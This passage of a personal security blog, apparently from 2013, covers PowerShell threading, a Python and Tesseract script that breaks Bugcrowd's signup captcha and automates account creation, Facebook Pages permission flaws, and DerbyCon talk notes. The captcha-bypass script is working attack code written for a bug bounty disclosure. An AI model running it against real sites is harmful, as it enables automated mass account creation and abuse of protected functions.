<span class="Apple-tab-span" style="white-space: pre;"> </span>Start-Service -inputobject $test
<span class="Apple-tab-span" style="white-space: pre;"> </span>"Service started on: " + $_
<span class="Apple-tab-span" style="white-space: pre;"> </span>}
<span class="Apple-tab-span" style="white-space: pre;"> </span>} else{
<span class="Apple-tab-span" style="white-space: pre;"> </span>$_ + " - Machine not accessible"
<span class="Apple-tab-span" style="white-space: pre;"> </span>}
<span class="Apple-tab-span" style="white-space: pre;"> </span>}
<span class="Apple-tab-span" style="white-space: pre;"> </span>Catch{
<span class="Apple-tab-span" style="white-space: pre;"> </span>"Caught an exception!"
<span class="Apple-tab-span" style="white-space: pre;"> </span>}
}
</pre>
<br />
At first glance it might seem confusing but its dead simple. The whole first section is Tome's script and will handle the threading. My code starts with reading in a list of computers from text file. Then we pipe those machines to Tome's function "ForEach-Parallel". In the following section I've put the code that will execute in each runspace.<br />
<br />
I've used the same Get-Service, Set-Service, Start-Service cmdlets as in my first example, this time round though I added a check to see if the machine was accessible using Test-Path and also error handling with a try/catch.<br />
<br />
<br />
<b><span style="font-size: large;">Final Thoughts</span></b><br />
<br />
Threading is one of the most important features of any language and I was surprised how poorly it was implemented in Powershell. Being new to Powershell definitely didn't help but also the information online was pretty poor, no one really covered all of the techniques in one place or explained which was better.<br />
<br />
Personally I found runspace pooling the fastest, the cleanest and easiest to use. Although Tome's script is a little bulky it makes threading simple. I would love to hear other people opinions on what worked best for them.<br />
<br />
I'll hopefully be adding some more Powershell blog posts in the future. For more security orientated Powershell definitely check out <a href="https://github.com/PoshSec">PoshSec</a> and <a href="https://github.com/darkoperator/Posh-SecMod">Posh-SecMod</a><br />
<br />
Pwndizzle out.<br />
<br />Unknownnoreply@blogger.com19tag:blogger.com,1999:blog-6613536328909163975.post-9848001628471436052013-12-05T08:04:00.000+00:002013-12-05T08:07:47.658+00:00Breaking Bugcrowd's Captcha with Python and TesseractIn this post I'm going to talk about bypassing Bugcrowd's captcha using Python and Tesseract. This post was originally written for the Bugcrowd blog here: <a href="http://blog.bugcrowd.com/guest-blog-breaking-bugcrowds-captcha-pwndizzle/">http://blog.bugcrowd.com/guest-blog-breaking-bugcrowds-captcha-pwndizzle/</a><br />
<br />
<br />
<b><span style="font-size: large;">A Bugcrowd Bounty</span></b><br />
<br />
A while back Bugcrowd started a bounty for the main Bugcrowd site. While flicking through the site looking for issues I noticed they were using a pretty basic captcha. In certain sections of the site, for example account sign up, password reset and on multiple failed passwords, you were required to enter the captcha to verify you were human:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHbV6Qmmwdrlt72ebJFTZN9yd3Ot3Iap-uyvxLtoHiPtrT1FndsHp7AE887tBrdjmmgLwuPyRbZzJCXN215bKgmLRqd06DA7x17DMrnom1R8xxnnL4Y2UF2CQZ7CuG1W3N_buIMYtpLewL/s1600/signup.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHbV6Qmmwdrlt72ebJFTZN9yd3Ot3Iap-uyvxLtoHiPtrT1FndsHp7AE887tBrdjmmgLwuPyRbZzJCXN215bKgmLRqd06DA7x17DMrnom1R8xxnnL4Y2UF2CQZ7CuG1W3N_buIMYtpLewL/s1600/signup.png" /></a></div>
<br />
This in theory would prevent the automated use of these functions. But if I could find a way to bypass the captcha I could potentially abuse these functions.<br />
<br />
<br />
<b><span style="font-size: large;">So how do you bypass a captcha? </span></b><br />
<br />
If it's a home-grown captcha you may be lucky enough to find a logic flaw such as the captcha code being included on the current page or perhaps you can re-use a valid captcha more than once.<br />
<br />
If you're dealing with a more sophisticated captcha you've got two options. Either you outsource the work to a developing country (<a href="http://krebsonsecurity.com/2012/01/virtual-sweatshops-defeat-bot-or-not-tests/">http://krebsonsecurity.com/2012/01/virtual-sweatshops-defeat-bot-or-not-tests/</a>) or you can try optical character recognition (OCR). <br />
<br />
<br />
<span style="font-size: large;"><b>OCR?</b></span><br />
<br />
Assuming you don't choose to outsource the work, there are a few different OCR frameworks out there that you can use to automatically analyse an image and have it return you a list of characters. I found Tesseract (<a href="https://code.google.com/p/tesseract-ocr/">https://code.google.com/p/tesseract-ocr/</a>) to be a good choice as it's engine has been pre-trained and it worked out of the box with decent results.<br />
<br />
As the Bugcrowd captcha was so simple all I needed to do was enlarge the image before submitting to Tesseract for analysis to succeed most of the time. For other more complex captchas that use distorted characters or overlays to mask the text you will need to clean the image before submitting to Tesseract. Some examples can be found in the references below.<br />
<br />
<br />
<b><span style="font-size: large;">Weaponizing using Python</span></b><br />
<br />
With a way to obtain the captcha value from the captcha image I decided to create a proof of concept script in Python that could automate account sign-up. Being the lazy security guy I am, I had a look on Google to see if someone else had already created a similar script and although there were captcha breaking scripts I couldn't find an example of a full attack. So instead I wrote my own.<br />
<br />
The Bugcrowd sign-up process consisted of two requests, one to retrieve the sign-up page (containing captcha and csrf) and a second request to send sign-up data (username, email, password etc.) To automate the whole process the script would need to download a copy of the sign-up page, extract the csrf and captcha tokens, download and analyse the captcha then submit a sign-up request containing the following:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiSzyeO_mvSo9QO6QejN3fTcnlr2nhG_le4As05qhuWFd5ZgHl3JtiyzafVDCKyCBySG5p8oQRnfQ8jgj9hAmnhT34MYSjyMhkLCc-oqwaDwi2FzGFmP8gpC8VFJcL0STJrv-o4wxknGQZ/s1600/parameters.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiSzyeO_mvSo9QO6QejN3fTcnlr2nhG_le4As05qhuWFd5ZgHl3JtiyzafVDCKyCBySG5p8oQRnfQ8jgj9hAmnhT34MYSjyMhkLCc-oqwaDwi2FzGFmP8gpC8VFJcL0STJrv-o4wxknGQZ/s1600/parameters.png" /></a></div>
<br />
Using Python 3.3 I cobbled together the following:<br />
<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;"># A script to bypass the Bugcrowd sign-up page captcha
# Created by @pwndizzle - http://pwndizzle.blogspot.com
from PIL import Image
from urllib.error import *
from urllib.request import *
from urllib.parse import *
import re
import subprocess
def getpage():
try:
print("[+] Downloading Page");
site = urlopen("https://portal.bugcrowd.com/user/sign_up")
site_html = site.read().decode("utf-8")
global csrf
#Parse page for CSRF token (string 43 characters long ending with =)
csrf = re.findall('[a-zA-Z0-9+/]{43}=', site_html)
print ("-----CSRF Token: " + csrf[0])
global ctoken
#Parse page for captcha token (string 40 characters long)
ctoken = re.findall('[a-z0-9]{40}', site_html)
print ("-----Captcha Token: " + ctoken[0])
except URLError as e:
print ("*****Error: Cannot retrieve URL*****");
def getcaptcha():
try:
print("[+] Downloading Captcha");
captchaurl = "https://portal.bugcrowd.com/simple_captcha?code="+ctoken[0]
urlretrieve(captchaurl,'captcha1.png')
except URLError as e:
print ("*****Error: Cannot retrieve URL*****");
def resizer():
print("[+] Resizing...");
im1 = Image.open("captcha1.png")
width, height = im1.size
im2 = im1.resize((int(width*5), int(height*5)), Image.BICUBIC)
im2.save("captcha2.png")
def tesseract():
try:
print("[+] Running Tesseract...");
#Run Tesseract, -psm 8, tells Tesseract we are looking for a single word
subprocess.call(['C:\\Program Files (x86)\\Tesseract-OCR\\tesseract.exe', 'C:\\Python33\\captcha2.png', 'output', '-psm', '8'])
f = open ("C:\Python33\output.txt","r")
global cvalue
#Remove whitespace and newlines from Tesseract output
cvaluelines = f.read().replace(" ", "").split('\n')
cvalue = cvaluelines[0]
print("-----Captcha: " + cvalue);
except Exception as e:
print ("Error: " + str(e))
def send():
try:
print("[+] Sending request...");
user = "testuser99"
params = {'utf8':'%E2%9C%93', 'authenticity_token': csrf[0], 'user[username]':user, 'user[email]':user+'@test.com', 'user[password]':'password123', 'user[password_confirmation]':'password123', 'captcha':cvalue,'captcha_key':ctoken[0],'agree_terms_conditions':'true'}
data = urlencode(params).encode('utf-8')
request = Request("https://portal.bugcrowd.com/user")
#Send request and analyse response
f = urlopen(request, data)
response = f.read().decode('utf-8')
#Check for error message
fail = re.search('The following errors occurred', response)
if fail:
print("-----Account creation failed!")
else:
print ("-----Account created!")
except Exception as e:
print ("Error: " + str(e))
print("[+] Start!");
#Download page and parse data
getpage();
#Download captcha image
getcaptcha();
#Resize captcha image
resizer();
#Need more filtering? Add subroutines here!
#Use Tesseract to analyse captcha image
tesseract();
#Send request to site containing form data and captcha
send();
print("[+] Finished!");
</pre>
<br />
Running the script from the c:\Python33 folder against a Bugcrowd signup page with the following captcha:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiny0PAz65mEmUOFQom5Wda5JXtBd4wFUWb51qdg4odSyTq2MG13Q9aLkd4KfEGGIUrUk7MIDAhF7YS2gCdv3wDRODfcDrD-MShlcZHXziOWFqfpAbFkwVHaGHQ2eut1E0eS5PStq_X62Jr/s1600/captcha.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="72" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiny0PAz65mEmUOFQom5Wda5JXtBd4wFUWb51qdg4odSyTq2MG13Q9aLkd4KfEGGIUrUk7MIDAhF7YS2gCdv3wDRODfcDrD-MShlcZHXziOWFqfpAbFkwVHaGHQ2eut1E0eS5PStq_X62Jr/s320/captcha.png" width="320" /></a></div>
I get the following output:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj33MVC5rZ0qmuunxOR538GLyWB7vT6z1houcOaxdC24b16pAPbql48Z3pZFv9KVJTwTzrm8TfNTJ5K9io2Vt-fIZVJ9Snwl972NQb0VGxu0x8-fCE1OMLqDMI4QIJE3fvBM6tB3u16-yMd/s1600/output.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj33MVC5rZ0qmuunxOR538GLyWB7vT6z1houcOaxdC24b16pAPbql48Z3pZFv9KVJTwTzrm8TfNTJ5K9io2Vt-fIZVJ9Snwl972NQb0VGxu0x8-fCE1OMLqDMI4QIJE3fvBM6tB3u16-yMd/s1600/output.png" /></a></div>
<br />
Awesome, so with one click the script can create an account. Add a for loop and make the username/email dynamic and we can sign up for as many accounts as we like, all automatically. So you're probably thinking "if it's that easy to bypass a captcha why isn't everyone doing it?". Well there are some important points to remember:<br />
<br />
<ul>
<li> Tesseract doesn't analyse the captcha correctly every time. With Bugcrowd's simple captcha I was getting about a 30% success rate.</li>
<li>Most sites don't use such a simple captcha and filtering noise can be tricky. A harder captcha, means a lower success rate, more requests and a greater chance of getting caught/locked out.</li>
<li>There could be server-side mitigations in place we don't know about. E.g. Each ip cannot create more than five accounts a day.</li>
<li>The impact of a captcha bypass and mitigations can vary greatly depending on what the captcha is trying to protect.</li>
</ul>
<br />
<br />
<b><span style="font-size: large;">Final Thoughts</span></b><br />
<br />
I like the concept of captchas, current machines struggle with optical recognition and an image check is all it takes to prevent automation. As demonstrated though simple letter/number captchas can be easy to break and everyday use can frustrate users. For me images of people/objects/scenes, like the friend captcha used by Facebook, or interactive captchas/mini-games like those offered by <a href="http://areyouahuman.com/">http://areyouahuman.com/</a> appear to be an interesting alternative that offer effective anti-automation (for now) with improved user experience. <br />
<br />
If you want to re-use the script it should work fine on other machines and sites but you'll need to change the URLs, the parsing logic and possibly apply image filters depending on the captcha your targeting. I built the script using Python 3.3 and Tesseract 3.02 with default installation locations on Windows 7.<br />
<br />
For more information about breaking captchas with Python I'd definitely recommend checking out the following posts:<br />
<br />
<a href="http://blog.c22.cc/2010/10/12/python-ocr-or-how-to-break-captchas/">http://blog.c22.cc/2010/10/12/python-ocr-or-how-to-break-captchas/</a><br />
<br />
<a href="http://www.debasish.in/2012/01/bypass-captcha-using-python-and.html">http://www.debasish.in/2012/01/bypass-captcha-using-python-and.html</a><br />
<br />
<a href="http://bokobok.fr/bypassing-a-captcha-with-python/">http://bokobok.fr/bypassing-a-captcha-with-python/</a><br />
<br />
Also cleaning catpchas with Imagemagick looked interesting but I didn't get round to testing it:<br />
<br />
<a href="http://www.imagemagick.org/">http://www.imagemagick.org</a><br />
<br />
Thanks to Bugcrowd for all their awesome work. I hope you guys have found this post useful. Questions and feedback are always appreciated so drop me a comment below :)<br />
<br />
Pwndizzle out.<br />
<br />Unknownnoreply@blogger.com7tag:blogger.com,1999:blog-6613536328909163975.post-74473531911505358032013-10-22T15:15:00.001+01:002013-10-23T00:20:48.450+01:00Playing with Facebook Pages<span style="font-family: Arial, Helvetica, sans-serif;">Back in July I took a look at Facebook Pages. With most of the Facebook CSRF/XSS already fixed I instead focused on abusing the features and permissions at a high level just playing around with the legitimate functionality.</span><br />
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span>
<span style="font-family: Arial, Helvetica, sans-serif;">Today I'll talk about two issues that caught my eye.</span><br />
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span>
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span>
<b><span style="font-family: Arial, Helvetica, sans-serif; font-size: large;">Ban Your Manager</span></b><br />
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span>
<span style="font-family: Arial, Helvetica, sans-serif;">The first issue I found was a permissions hole in the "ban" feature. For Facebook pages the power hierarchy looks like this: </span><br />
<span style="background-color: white; color: #222222; font-size: 13.333333015441895px;"><span style="font-family: Arial, Helvetica, sans-serif;"><br /></span></span>
<span style="font-family: Arial, Helvetica, sans-serif;"><span style="background-color: white; color: #222222; font-size: 13.333333015441895px;">Manager -> Content Creator -> Moderator -> Advertiser -> Insights Analyst</span> </span><br />
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span>
<span style="font-family: Arial, Helvetica, sans-serif;">With the Manager role having the most control and Insight Analyst the least. I created two users Mike (the manager) and Mark (the moderator). While logged in as Mark I tried to delete one of Mike's posts.</span><br />
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjN7sHW1Y89N0H14jl8BmYGCsaJmiaJf3N_twuig2ljL11tmQ4s0R_Y-PRF0l1TiepmwNQDN0QOTasvMU3M8PT6fCRhkZqhzxDmErU_2Gb8sXO7PaMjAua4Fgc5Co4hFMx-zIkBDXljAI8M/s1600/fbpages1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjN7sHW1Y89N0H14jl8BmYGCsaJmiaJf3N_twuig2ljL11tmQ4s0R_Y-PRF0l1TiepmwNQDN0QOTasvMU3M8PT6fCRhkZqhzxDmErU_2Gb8sXO7PaMjAua4Fgc5Co4hFMx-zIkBDXljAI8M/s1600/fbpages1.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: Arial, Helvetica, sans-serif;">Much to my surprise I was given the option of banning the manager...</span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilT6NOTqFROmymWUVJ6aM8NwwdOP3z48MSCdwteXi6yxKPju0Hn_rZBL4a_H5TKuoXJUqsmADvKlBve5N_WEEhyphenhyphenmx5YDNDBs2nP9DHfaA4uQl5qniz3Bl3W9YmULTW99fLFgiZKKOsE8TO/s1600/fbpages2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilT6NOTqFROmymWUVJ6aM8NwwdOP3z48MSCdwteXi6yxKPju0Hn_rZBL4a_H5TKuoXJUqsmADvKlBve5N_WEEhyphenhyphenmx5YDNDBs2nP9DHfaA4uQl5qniz3Bl3W9YmULTW99fLFgiZKKOsE8TO/s1600/fbpages2.png" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: Arial, Helvetica, sans-serif;">It turned out if you were a Manager/Content Creator/Moderator you could ban anyone with Manager/Content Creator/Moderator effectively going against the intended power hierarchy.</span></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1lRP-PzhYS1BhLN8NRx25xp_3QwKj19WY5FKW94l1U-_XTYQiv2Kmut3n-j5vXAiWmFmuM9I5vy09N7k4aE-IyD3PCNe432XxLClcQoi2KhOG7JLpAhGfrBAxS5XaC5EVSPp63KTON_jk/s1600/fbpages3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1lRP-PzhYS1BhLN8NRx25xp_3QwKj19WY5FKW94l1U-_XTYQiv2Kmut3n-j5vXAiWmFmuM9I5vy09N7k4aE-IyD3PCNe432XxLClcQoi2KhOG7JLpAhGfrBAxS5XaC5EVSPp63KTON_jk/s1600/fbpages3.png" /></a></div>
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span>
<span style="font-family: Arial, Helvetica, sans-serif;">Also when you get banned there is no information to indicate who banned you, not even in the page activity log. Manager's can unban themselves but there's nothing stopping our attacker from re-banning them. So if you have a rogue moderator or a moderator account that got hacked, an attacker could silently perform a ban DOS. Cool.</span><br />
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span>
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span>
<b><span style="font-family: Arial, Helvetica, sans-serif; font-size: large;">Wana be a featured admin?</span></b><br />
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span>
<span style="font-family: Arial, Helvetica, sans-serif;">Probably the most fun issue I found involved the "add a featured admin" functionality. By default, pages don't display the admin but you can set a "featured admin" who will show up publicly on the "about" page. To do this you first need to add the user as a page role, let's go with the lowest permissions:</span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjE7_T2wTAuEMf_b1jQIO2VS_LWndYJ8q9uETSw5JLNxlNjsEUcavW2ovEHF2gi6Gu0tTFvR3Hwr_jX2gN_1aR_AOOH4FKh9EzNYAK7veL21CAFQcTN8EGmOMYV1arrC4V8HPDaC0SU_woD/s1600/insightanalyst.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjE7_T2wTAuEMf_b1jQIO2VS_LWndYJ8q9uETSw5JLNxlNjsEUcavW2ovEHF2gi6Gu0tTFvR3Hwr_jX2gN_1aR_AOOH4FKh9EzNYAK7veL21CAFQcTN8EGmOMYV1arrC4V8HPDaC0SU_woD/s1600/insightanalyst.png" /></a></div>
<span style="font-family: Arial, Helvetica, sans-serif;">Now we go to the featured admin page.</span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvHH3YCr74_POuybSgtPOUUO89Evxljjzy7FXgvIFigpC4i6y6ZVWj1cA4LuNsCjrYzvD0sFLMlY2nC4QSxX2MyWNJeVt5uxaJiUz4q5oRCb7CJRPH4_OF5eiAyUnsm1CfJgHgy2OwHsWP/s1600/featured1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvHH3YCr74_POuybSgtPOUUO89Evxljjzy7FXgvIFigpC4i6y6ZVWj1cA4LuNsCjrYzvD0sFLMlY2nC4QSxX2MyWNJeVt5uxaJiUz4q5oRCb7CJRPH4_OF5eiAyUnsm1CfJgHgy2OwHsWP/s1600/featured1.png" /></a></div>
<span style="font-family: Arial, Helvetica, sans-serif;">And add our admin:</span><br />
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggd7xTCervN7b4PY_vZ0Mu-nOi90IIVVc17-swYpy5gMTNTFBYyl8WSuYBFXRX8YTE9BmB4ILx3qB6UiHOuzzBwLd6_oKFwkemCy1UsZtm3bA65FHfTmr8tIfA4x-cOZC4byZqpg_4Kk6Z/s1600/featured.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggd7xTCervN7b4PY_vZ0Mu-nOi90IIVVc17-swYpy5gMTNTFBYyl8WSuYBFXRX8YTE9BmB4ILx3qB6UiHOuzzBwLd6_oKFwkemCy1UsZtm3bA65FHfTmr8tIfA4x-cOZC4byZqpg_4Kk6Z/s1600/featured.png" /></a></div>
<br />
<span style="font-family: Arial, Helvetica, sans-serif;">Once added he'll be publicly visible as the page admin.</span><br />
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj32SrIC8xLqWB2HM8KkLeCENvtdDYYjYF2i2BslopL2wMQKkpzJbjKq-BJfGsKAmN8Lwg-Fetc5Bpog_GMIv3_KjyzLmVVooy3sRrw10qAyRMFyocQqhhff9iJweaOtA_hvwvmsPFz5jHZ/s1600/featuredadmin.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj32SrIC8xLqWB2HM8KkLeCENvtdDYYjYF2i2BslopL2wMQKkpzJbjKq-BJfGsKAmN8Lwg-Fetc5Bpog_GMIv3_KjyzLmVVooy3sRrw10qAyRMFyocQqhhff9iJweaOtA_hvwvmsPFz5jHZ/s1600/featuredadmin.png" /></a></div>
<br />
<span style="font-family: Arial, Helvetica, sans-serif;">So where's the security flaw I hear you ask? Well in the above steps did you notice that not once did we ask the user's permission to perform any of these actions? Facebook pages <b>by design</b> do not ask a user's permission before making them an admin or featured admin. The only prerequisite was that the user either liked the page or was a friend of ours.</span><br />
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span>
<span style="font-family: Arial, Helvetica, sans-serif;">So with malicious intentions in mind how could we abuse this? Well one possible attack would be to make someone a featured admin then </span><span style="font-family: Arial, Helvetica, sans-serif;">change the content of the page to something malicious</span><span style="font-family: Arial, Helvetica, sans-serif;"> and publicize the fact they are the admin.</span><br />
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span>
<span style="font-family: Arial, Helvetica, sans-serif;">For example, our page starts out as a normal Breaking Bad fan club, nothing suspicious here...</span><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOKACcaQULpxcsLIklbt09qwNbdDv_jAw4Fab4x1BY8FZ-M0bdJ4ivfC9Iq1-wwJlOv2ExLsrPG6tsNZ6iTeLN2-DouS3UNJsgBpv2tqBSFlkqTzDdOKB4p_aJ_AtlMSb6dWVT3mCCh0A-/s1600/breakingbad.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="133" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOKACcaQULpxcsLIklbt09qwNbdDv_jAw4Fab4x1BY8FZ-M0bdJ4ivfC9Iq1-wwJlOv2ExLsrPG6tsNZ6iTeLN2-DouS3UNJsgBpv2tqBSFlkqTzDdOKB4p_aJ_AtlMSb6dWVT3mCCh0A-/s320/breakingbad.png" width="320" /></a></div>
<span style="font-family: Arial, Helvetica, sans-serif;"><br />The manager makes you featured admin, cool, but then changes the content and leaves the page, not cool!</span><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUI65uG7WljuBD5ds-p2u5jtTmj42j_KL1-a5DsGi4fj4kBY9W844EgXkcCJM0ecoJWi6Pceu01W8K1aDvs8p0hqFHz-srEyc5SO6JtnG-_yAYqYVdEd4iG6VSf52TPg3KlciNuHA2nyJx/s1600/bieber.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="137" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUI65uG7WljuBD5ds-p2u5jtTmj42j_KL1-a5DsGi4fj4kBY9W844EgXkcCJM0ecoJWi6Pceu01W8K1aDvs8p0hqFHz-srEyc5SO6JtnG-_yAYqYVdEd4iG6VSf52TPg3KlciNuHA2nyJx/s320/bieber.png" width="320" /></a></div>
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span>
<span style="font-family: Arial, Helvetica, sans-serif;">JUSTIN BIEBER!!! NOOOOOOOOOOOOOOOOOO!!!!! So now all your friends see you're the admin of a Justin Bieber fan club and proceed to make fun of you for the next few years :)</span><br />
<span style="font-family: Arial, Helvetica, sans-serif;"><br />
I assumed Facebook would notify users when changes like this were made, but that's not always the case. You are notified if you're made an admin for the page, but not notified if you are made the </span><b style="font-family: Arial, Helvetica, sans-serif;">publicly visible featured admin</b><span style="font-family: Arial, Helvetica, sans-serif;">! Uh oh.</span><br />
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span>
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span>
<span style="font-family: Arial, Helvetica, sans-serif; font-size: large;"><b>Final Thoughts</b></span><br />
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span><span style="font-family: Arial, Helvetica, sans-serif;">Were these serious issues involving account compromise, data loss or blowing up Facebook servers? Nope. But they were/are features that could be abused for malicious purposes.</span><br />
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span><span style="font-family: Arial, Helvetica, sans-serif;">It can be easy to class such issues as low severity and dismiss them but targeted exploitation could cause some real damage. Imagine if instead of Justin Bieber, our page was focused on a sensitive political issue and constructed to appear legitimate. What happens if a celebrity or political figure is tricked into being the featured admin? Watch as chaos ensues :)</span><br />
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span>
<span style="font-family: Arial, Helvetica, sans-serif;">Pwndizzle out.</span><br />
<br />Unknownnoreply@blogger.com3tag:blogger.com,1999:blog-6613536328909163975.post-33472934114857828862013-10-05T01:30:00.001+01:002013-10-05T01:48:01.678+01:00Notes from Derbycon 2013 - Day #3After another late night partying on the streets of Kentucky I arrived home at 5am and had to get some sleep. I missed the first two talks of the day but did make it in for the afternoon sessions and there were some cool talks.<br />
<br />
<br />
<span style="background-color: #999999;">#########################################################</span><br />
<b><span style="font-size: large;">Title: Sandboxes from a pentester's view</span></b><br />
<b>Link:</b> <a href="http://labs.bromium.com/2013/07/23/application-sandboxes-a-pen-testers-perspective/">http://labs.bromium.com/2013/07/23/application-sandboxes-a-pen-testers-perspective/</a><br />
<b>What was it about:</b><br />
Rahul took us on a journey through the concepts of application sandboxes and how to escape them. He started by explaining how most third party software sandboxes can be bypassed simply because they don't properly control access to the kernel. The products are basically badly designed. He then went on to talk about the sandboxes for Chrome and Adobe Reader which are a lot more secure.<br />
<br />
The high privilege "broker" and low privilege "target" process architecture and the fact Google have spent millions on development has made the Chrome sandbox very secure. However Chrome and the sandbox run on top of the Windows kernel. So to escape the sandbox all we need to do is exploit the kernel. With such a large attack surface, all of user land and RPC services, there are a lot of potential targets.<br />
<br />
Rahul showed a demo exploit for ms11-063 which he had reversed from the patch. csrss.exe didn't properly enforce access permissions so by connecting to csrss.exe over RPC from Chrome he was able to execute arbitrary commands.<br />
<br />
<b>Lessons learned:</b><br />
Forget about exploiting the browser, attack the Windows kernel instead, there's a gold mine of potential vulnerabilities yet to be found.<br />
<br />
<br />
<span style="background-color: #999999;">#########################################################</span><br />
<b><span style="font-size: large;">Title: Exploiting the zeroth_hour; Developing your advanced persistant threat to pwn the network</span></b><br />
<b>Link:</b> <a href="https://github.com/splinterbotnet">https://github.com/splinterbotnet</a><br />
<b>What was it about:</b><br />
Solomon and Nick talked about how they created their own botnet agent and backend C&C. Although botnets are nothing new, what they had built was the first open source botnet framework, cool. In the demo they showed off some of the features like beaconing, information gathering and file transfers, all pretty fun.<br />
<br />
The full source code should be appearing on github sometime soon.<br />
<br />
<b>Lessons learned:</b><br />
Man + dog will now be running a botnet?<br />
<br />
<br />
<span style="background-color: #999999;">#########################################################</span><br />
<b><span style="font-size: large;">Title: Stop making excuses it's time to own your HIV (high impact vulnerabilities)</span></b><br />
<b>Link: </b><a href="http://www.youtube.com/watch?v=BbkwzhU1_4A">http://www.youtube.com/watch?v=BbkwzhU1_4A</a><br />
<b>What was it about:</b><br />
As a defender one of the biggest challenges I've encountered is deciding what to prioritize. There's simply too much to do and too little time. In this talk Jack presented his experiences developing and implementing an effective security program. He used a four step process: identify (what problem areas you have), align (decide on solutions and create a project schedule), communicate (let users know what's gona happen) and report (provide metrics to management). I liked that. Also he suggested when reporting, think like a CFO. Keep reports simple and show the return on investment. <br />
<br />
<b>Lessons learned:</b><br />
Take a step back. Look at the big picture, the risks facing your organisation, what can you do to address those risks and create a plan with clear projects and schedule.<br />
<br />
<br />
<span style="background-color: #999999;">#########################################################</span><br />
<span style="background-color: #999999;"><br /></span>
<span style="background-color: white;"><br /></span>
